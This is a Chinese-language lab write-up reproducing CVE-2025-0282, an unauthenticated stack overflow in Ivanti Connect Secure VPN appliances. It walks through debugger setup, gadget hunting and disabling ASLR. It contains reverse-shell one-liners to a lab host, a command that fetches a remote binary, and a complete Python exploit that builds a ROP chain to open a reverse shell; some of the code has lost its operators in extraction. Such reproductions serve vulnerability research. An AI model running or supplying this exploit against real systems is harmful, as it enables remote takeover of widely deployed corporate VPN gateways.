参考微信公众平台Ivanti Connect Secure栈溢出漏洞CVE-2025-0282分析与复现(99 封私信 / 81 条消息) ivanti CVE-2025-0282 漏洞复现 - 知乎CVE-2025-0282 Ivanti Connect Secure RCE 漏洞复现与调试 | Misaki一、漏洞背景1、概述CVE-2025-0282 是一个影响 Ivanti 企业 VPN 设备的严重漏洞。该漏洞允许未经身份验证的远程攻击者在受影响的设备上执行任意代码进而可能完全控制目标系统。Ivanti 已确认该漏洞存在。2、影响范围Ivanti Connect Secure 22.7R2 - 22.7R2.4Ivanti Policy Secure 22.7R1 - 22.7R1.2Ivanti Neurons for ZTA gateways 22.7R2 - 22.7R2.3二、调试环境搭建1、获取shell版本Ivanti Connect Secure 22.7R2.3Ivanti Connect Secure 22.7R2.3导入虚拟机后开机按照界面提示设置IP地址管理员账号和密码等。在浏览器中使用HTTPS协议打开配置的IP地址可以正常显示Web登录界面。https://192.168.1.129/dana-na/auth/url_admin/welcome.cgi尝试ping内部的kali等到超时使用010Editor打开vmem文件替换重新恢复虚拟机然后回车在虚拟机中反弹shellsh-4.2# bash -i /dev/tcp/192.168.1.128/8889 012、文件传输反弹shell中执行cat /tmp/recv.py EOF import urllib urllib.urlretrieve(http://192.168.1.128:8000/gdbserver, gdbserver) EOF将gdbserver保存为/tmp/gdbserver如果没有的话需要手动编译在反弹shell中执行bash-4.2# cd /tmp bash-4.2# python recv.py bash-4.2# chmod x /tmp/gdbserver3、漏洞分析将web程序拖入IDA分析定位到漏洞函数sub_E3540双击类进入找到进入函数sub_E5E80发现最后调用sub_E4AD0三、漏洞利用使用openconnect来触发栈溢出先配置一下环境https://github.com/openconnect/openconnect.git下载完后进入该目录然后打开pulse.c文件找到如下代码并进行替换完成后开始编译./autogrn.sh ./configure --enable-staticyes --without-openssl --with-vpnc-script./vpnc-script --without-libproxy --without-lz4 make测试一下./openconnect 192.168.1.129 --protocolpulse --dump-http-traffic -vvv这里是SSL/TLS握手阶段,这里因为我们服务器使用自签名证书需要用户来选择信任输入yes后才会继续链接。从HTTPS升级到专用的IF-T/TLS协议。查看一下端口可以看到web程序是443端口我们用gdbserver去attach上该端口的PID即可。/tmp/gdbserver 0.0.0.0:8010 --attach $(netstat -anptl | grep 443 | awk {print $7} | cut -d/ -f1 | grep -v -)监听好之后在自己主机启用gdb调试目标使用tmux分割窗口ctrlb然后输入%左右分割ctrlb然后输入上下分割定位程序基址然后根据ida中的偏移计算strcpy地址然后下断点然后输入continue修改payload长度看一下之后发生了什么发现虚表调用128:04a0│ 0xffff94f0 —▸ 0x56852b30 —▸ 0xf7a960c0 (vtable for DSEvntNotification8) —▸ 0xf6cd0280 (DSEvntNotification::~DSEvntNotification()) ◂— push ebxloc_E51C3: mov edx, [esp0A0Chvar_9E0] //将栈上偏移量为[esp0A0Chvar_9E0]的内存地址处存储的值加载到edx寄存器中。 mov eax, [esp0A0Charg_0] //获取a1指针,因为a1作为sub_E4AD0的第一个参数 mov eax, [eax] //通过a1获取vtable地址 mov [esp0A0Chsrc], edx //将edx寄存器中的值之前从[esp0A0Chvar_9E0]加载的可能是源字符串地址或长度保存到栈上src的位置 mov edx, [esp0A0Charg_0] //再次将栈上第一个参数的值加载到edx寄存器中 mov [esp0A0Chn], 2Eh ; . ; int // 将数值2Eh即字符.保存到栈上n的位置 mov [esp0A0Chvar_A0C], edx //将edx寄存器中的值之前从[esp0A0Charg_0]加载的保存到栈上var_A0C的位置。 call dword ptr [eax48h] //调用了一个函数。函数的地址是从eax指向的结构体中的偏移48h处获取的。虚函数调用,我们要做的就是在这里劫持。根据https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/这个文章观察这个作者的A Gadget From The Gods我们可以用该gadget去完成ROP。在这文章中作者提到了他的gadget的具体汇编第一句是mov ebx, 0xfffffff0 第二句是add esp, 0x204C-------------------------- | gadget_0[0x48] | -------------------------- | mov ebx, 0xfffffff0 | - Load value into EBX -------------------------- | add esp, 0x204C | - Adjust stack pointer -------------------------- | mov eax, ebx | - Copy EBX to EAX -------------------------- | pop ebx | - Restore EBX -------------------------- | pop esi | - Restore ESI -------------------------- | pop edi | - Restore EDI -------------------------- | pop ebp | - Restore EBP -------------------------- | ret | - Return to caller --------------------------接下来就是要找到该gadget由于调试时我们可以发现程序或加载很多额外的库文件我们的gadget没准就在这些库文件中。用该脚本去扫#!/usr/bin/env python3 import subprocess import os ​ for f in os.listdir(.): if f.endswith(.so): print(f\n {f} ) os.system(fobjdump -d -M intel {f} | grep -i add.*esp.*0x204c)然后可以发现在libdsplibs.so可以找到该gadget,这也是个swithc table表然后按照代码逻辑我们只要反着算就行 例如我们这里最后vtable的地址是0x11D88F8 那么就需要有一个地址存储这个指针 直接在ida的binary search里搜索。使用X查看选中函数的交叉引用由于最后是执行call dword ptr [eax48h]所以0x11D8940-0x480x11D88F8然后有由于会执行mov eax, [esp0A0Charg_0]和mov eax, [eax],所以还要找一个地址储存的值是0x11D88F8对db1_11D88F8进行交叉引用, 所以我们最后要覆盖的this指针地址为0x00934F4C,后面正常rop就行 这里提一句libc的随机化是0xfff位 多核启动的时候会有一个主进程不断的fork子进程因此我们爆破 0xfff次就一定能成功执行。但本地调试的话爆破起来非常麻烦所以我们可以去改一下内核配置取消PIE随机化。先看看ASLR地址空间布局随机化的当前设置ASLR 的三种级别 值 含义 说明 0 关闭 不进行任何地址随机化 1 部分开启 随机化 mmap 基址、栈、VDSO但不随机化共享库位置通常也是较弱的随机化 2 完全开启 随机化所有区域栈、堆、共享库、mmap、VDSO、executable 等关闭ASLRecho 0 /proc/sys/kernel/randomize_va_space ​ #验证是否为0 cat /proc/sys/kernel/randomize_va_space ​ # 重启web服务 killall web ​ #再从gdb中观察内存地址是否固定 target remote IP:8010 ​ #查看内存布局 info proc mappings经过调试可以看到地址一直固定为0xf6525000exp#!/usr/bin/env python3 CVE-2025-0282 Exploit - 基于ad1.pyASLR已关闭版本 libdsplibs.so base: 0xf6525000 import sys import socket import ssl import struct from time import sleep ​ ​ def log(txt): print(txt) ​ ​ def exploit(target_ip, target_port, lhost, lport): log(f[] Targeting {target_ip}:{target_port}) ​ # 22.7r2.4 b3597 gadgets (from libdsplibs.so) target { padding_to_vftable: 2288, vftable_gadget_offset: 0x00934F4C, padding_to_next_frame: 2934, offset_to_got_plt: 0x00157c000, gadget_inc_ebx_ret: 0x01338373, gadget_mov_eax_esp_retn_c: 0x00ca2e84, gadget_add_eax_8_ret: 0x007a040c, gadget_mov_esp_eax_call_system: 0x004f0df3, } ​ # 固定base地址 (ASLR disabled) libdsplibs_base 0xf6525000 ​ log(f[*] libdsplibs_base: 0x{libdsplibs_base:08x}) ​ # 反弹shell命令 cmd fbash -c exec bash -i /dev/tcp/{lhost}/{lport} 1;# cmd cmd.replace( , ${IFS}) log(f[*] Command: {cmd}) ​ # 构造ROP buffer buffer bC * target[padding_to_vftable] buffer struct.pack(I, libdsplibs_base target[vftable_gadget_offset]) buffer bA * target[padding_to_next_frame] buffer struct.pack(I, libdsplibs_base target[offset_to_got_plt] - 1) buffer struct.pack(I, 0xCAFEBEEF) # esi buffer struct.pack(I, 0xCAFEBEEF) # edi buffer struct.pack(I, 0xCAFEBEEF) # ebp buffer struct.pack(I, libdsplibs_base target[gadget_inc_ebx_ret]) buffer struct.pack(I, libdsplibs_base target[gadget_mov_eax_esp_retn_c]) buffer struct.pack(I, libdsplibs_base target[gadget_add_eax_8_ret]) buffer struct.pack(I, 0xCAFEBEEF) buffer struct.pack(I, 0xCAFEBEEF) buffer struct.pack(I, 0xCAFEBEEF) buffer struct.pack(I, libdsplibs_base target[gadget_add_eax_8_ret]) buffer struct.pack(I, libdsplibs_base target[gadget_add_eax_8_ret]) buffer struct.pack(I, libdsplibs_base target[gadget_add_eax_8_ret]) buffer struct.pack(I, libdsplibs_base target[gadget_add_eax_8_ret]) buffer struct.pack(I, libdsplibs_base target[gadget_mov_esp_eax_call_system]) buffer struct.pack(I, 0xCAFEBEEF) buffer cmd.encode() ​ # 检查bad char if b\x00 in buffer: log([-] Buffer contains null byte!) return ​ try: sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) ​ ctx ssl.create_default_context() ctx.check_hostname False ctx.verify_mode ssl.CERT_NONE s ctx.wrap_socket(sock, server_hostnametarget_ip) s.connect((target_ip, target_port)) ​ # HTTP Upgrade body fGET / HTTP/1.1\r\n body fHost: {target_ip}:{target_port}\r\n body User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n body Content-Type: EAP\r\n body Upgrade: IF-T/TLS 1.0\r\n body Content-Length: 0\r\n body \r\n ​ s.send(body.encode()) res s.recv(4096) ​ if b101 Switching Protocols not in res: log([-] Failed to switch protocols) return ​ log([] Protocol switched) ​ # IFT_VERSION_REQUEST data struct.pack(4B, 0, 1, 2, 2) pkt struct.pack(IIII, 0x00005597, 0x00000001, len(data) 16, 0) data s.send(pkt) ​ log([*] Sent version request) ​ # Exploit packet data bclientHostNameabcdefgh clientIp127.0.0.1 clientCapabilities buffer b\n\x00 pkt struct.pack(IIII, 0x00000a4c, 0x00000088, len(data) 16, 1) data ​ log(f[*] Triggering exploit...) s.send(pkt) ​ log([] Exploit sent! Check your listener.) ​ except Exception as e: log(f[-] Error: {e}) ​ ​ if __name__ __main__: if len(sys.argv) 5: print(fUsage: {sys.argv[0]} target_ip target_port lhost lport) print(fExample: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999) sys.exit(1) ​ target_ip sys.argv[1] target_port int(sys.argv[2]) lhost sys.argv[3] lport int(sys.argv[4]) ​ exploit(target_ip, target_port, lhost, lport)